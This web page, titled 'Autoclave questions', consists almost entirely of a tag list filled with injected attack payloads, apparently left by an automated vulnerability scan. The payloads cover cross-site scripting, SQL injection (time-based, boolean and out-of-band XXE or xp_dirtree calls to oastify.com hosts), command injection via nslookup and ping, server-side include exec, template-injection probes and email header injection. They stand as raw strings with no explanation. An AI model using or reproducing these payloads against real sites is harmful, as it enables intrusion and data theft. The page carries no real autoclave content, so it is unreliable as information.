Autoclave questions

• Date updated 2024-03-25

• Categories

• Tags
• "><img src=x onerror=alert('XSS');>
• (select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % qeuyh SYSTEM "http://435c1uzhjttgarjsq7afvyhgb7h05rtuhm4es3.oasti'||'fy.com/">%qeuyh;]>'),'/l') from dual)
• "><img src=x onerror=alert('XSS');>'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % qeuyh SYSTEM "http://ap3in0ln5zfmwx5ycdwlh43mxd36rxf13tqlea.oasti'||'fy.com/">%qeuyh;]>'),'/l') from dual)||'
• "><img src=x onerror=alert('XSS');>;declare @q varchar(99);set @q='\\cs8kq2op81iozz80ffznk66o0f68uziq8e01sph.oasti'+'fy.com\hna'; exec master.dbo.xp_dirtree @q;--
• "><img src=x onerror=alert('XSS');>';declare @q varchar(99);set @q='\\l8ut6b4yoayxf8o9vofw0fmxgomha8yzpnha9yy.oasti'+'fy.com\vkr'; exec master.dbo.xp_dirtree @q;--
• "><img src=x onerror=alert('XSS');>);declare @q varchar(99);set @q='\\v1x3zlx8hkr78ihjoy86tpf79yfr3ir9jxbk38s.oasti'+'fy.com\rej'; exec master.dbo.xp_dirtree @q;--
• "><img src=x onerror=alert('XSS');>');declare @q varchar(99);set @q='\\211azsxfhrre8phqo58dtwfe95fy3prgk4cr4ft.oasti'+'fy.com\qyr'; exec master.dbo.xp_dirtree @q;--
• (select load_file('\\\\qmgykgi32fc2td2e9tt1ek02ut0modc4es6fy3n.oastify.com\\ghp'))
• "><img src=x onerror=alert('XSS');>'+(select load_file('\\\\1xz9vrtedqnd4odpk44cpvbd54bxzonfq3iqaez.oastify.com\\bqh'))+'
• "><img src=x onerror=alert('XSS');>'
• "><img src=x onerror=alert('XSS');>'(select*from(select(sleep(20)))a)'
• "><img src=x onerror=alert('XSS');>'+(select*from(select(sleep(20)))a)+'
• "><img src=x onerror=alert('XSS');>' and (select*from(select(sleep(20)))a)--
• "><img src=x onerror=alert('XSS');>,(select*from(select(sleep(20)))a)
• "><img src=x onerror=alert('XSS');>' waitfor delay'0:0:20'--
• "><img src=x onerror=alert('XSS');>')waitfor delay'0:0:20'--
• "><img src=x onerror=alert('XSS');>',0)waitfor delay'0:0:20'--
• "><img src=x onerror=alert('XSS');>'||pg_sleep(20)--
• "><img src=x onerror=alert('XSS');>' AND pg_sleep(20)--
• "><img src=x onerror=alert('XSS');>',''||pg_sleep(20)--
• "><img src=x onerror=alert('XSS');>')AND pg_sleep(20)--
• "><img src=x onerror=alert('XSS');>',0)AND pg_sleep(20)--
• "><img src=x onerror=alert('XSS');>28574335' or '4055'='4055
• "><img src=x onerror=alert('XSS');>86017311' or '3647'='3651
• "><img src=x onerror=alert('XSS');>20794024' or '3651'='3651
• "><img src=x onerror=alert('XSS');>32887796' or '9329'='9329'
• "><img src=x onerror=alert('XSS');>18020262' or 7780=7780--
• "><img src=x onerror=alert('XSS');>21022510' or 7572=7574--
• "><img src=x onerror=alert('XSS');>30124105' or 3272=3272--
• "><img src=x onerror=alert('XSS');>91641168' or 4343=4343'--
• "><img src=x onerror=alert('XSS');>' and '5383'='5383
• "><img src=x onerror=alert('XSS');>' and '8791'='8796
• "><img src=x onerror=alert('XSS');>' and '3208'='3208
• "><img src=x onerror=alert('XSS');>' and '6729'='6729'
• "><img src=x onerror=alert('XSS');>' and 6564=6564--
• "><img src=x onerror=alert('XSS');>' and 5176=5185--
• "><img src=x onerror=alert('XSS');>' and 6302=6302--
• "><img src=x onerror=alert('XSS');>' and 4357=4357'--
• "><img src=x onerror=alert('XSS');>"
• t5nqarlnig
• "><img src=x onerror=alert('XSS');>sdr2qstqfs
• "><img src=x onerror=alert('XSS');>}}vjvif'/"<i6kvw
• "><img src=x onerror=alert('XSS');>%}so3po'/"<xgigh
• "><img src=x onerror=alert('XSS');>eu64p%>i1b9c'/"<nave2
• "><img src=x onerror=alert('XSS');>'+sleep(20.to_i)+'
• "><img src=x onerror=alert('XSS');>'+eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))+'
• eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))
• "><img src=x onerror=alert('XSS');>'.sleep(20).'
• "><img src=x onerror=alert('XSS');>{${sleep(20)}}
• sqm0oim56hg4xf6gdvx3im44yv4osfg74zrrfg.oastify.com
• http://89fg7y5lpxzkgvpwwbgj12nkhbn4bvzlnda5yu.oastify.com"><img src=x onerror=alert('XSS');>
• nslookup -q=cname wnn4lmj93ld8uj3kazu7fq18vz1spjdcg08n0bp.oastify.com.&
• "><img src=x onerror=alert('XSS');>|nslookup -q=cname 57ad5v3inuxhesntu8egzzlhf8l19sxolg88wx.oastify.com.&
• "><img src=x onerror=alert('XSS');>'"`0&nslookup -q=cname k3os1azxj9twa7j8qnavvehwbnhg57t4hw4osd.oastify.com.&`'
• "><img src=x onerror=alert('XSS');>&nslookup -q=cname nnevldj03cdzua3baquyfh1zvq1jpad51xopce.oastify.com.&'\"`0&nslookup -q=cname nnevldj03cdzua3baquyfh1zvq1jpad51xopce.oastify.com.&`'
• "><img src=x onerror=alert('XSS');>|echo muvy58ce5p zbk1jwuve0||a #' |echo muvy58ce5p zbk1jwuve0||a #|" |echo muvy58ce5p zbk1jwuve0||a #
• "><img src=x onerror=alert('XSS');>&echo 6w8hnto67a 0sjife6dww&
• "><img src=x onerror=alert('XSS');>"|echo arcm2t81wm u4jkwtrv5t ||
• "><img src=x onerror=alert('XSS');>'|echo vy1599ap03 vhujpdikgz #xzwx
• "><img src=x onerror=alert('XSS');>|ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1
• "><img src=x onerror=alert('XSS');>|ping -c 21 127.0.0.1||x
• "><img src=x onerror=alert('XSS');>&ping -n 21 127.0.0.1&
• "><img src=x onerror=alert('XSS');>'|ping -c 21 127.0.0.1 #
• "><img src=x onerror=alert('XSS');>"|ping -n 21 127.0.0.1 ||
• "><img src=x onerror=alert('XSS');>'+(function(){if(typeof kh1ik==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<20000);kh1ik=1;}}())+'
• "-->'-->`--><!--#set var="1j7" value="0i68gqedyp"--><!--#set var="3l9" value="2k8aisgf0r"--><!--#echo var="1j7"--><!--#echo var="3l9"--><!--#exec cmd="nslookup -q=cname n5tv3d10lcvzcalbsqcyxhjzdqjj7av2tqldd12.oastify.com" -->
• "><img src=x onerror=alert('XSS');> BCC:zux7spqcaokb1manh21amt8b228vwmked25pxdm@oastify.com fjb: q
• "><img src=x onerror=alert('XSS');>> BCC:nwnvuds0ccmz3acbjq3yohaz4qajyam2gq8d01p@oastify.com nji: l
• fbun957sr41ri2r3yiiq39prjipbd21util5dt2
• '"><svg/onload=fetch`//vzy3xlv8fkp76ifjmy66rpd77ydr1ipafy7lz9o\.oastify.com`>
• javascript:/*</script><img/onerror='-/"/-/ onmouseover=1/-/[`*/[]/[(new(Image)).src=(/;/+/ceukc2apu14olzu01fln66somfs8gz4rvfn2fq4X;.oastify.com/).replace(/.;/g,[])]//'src=>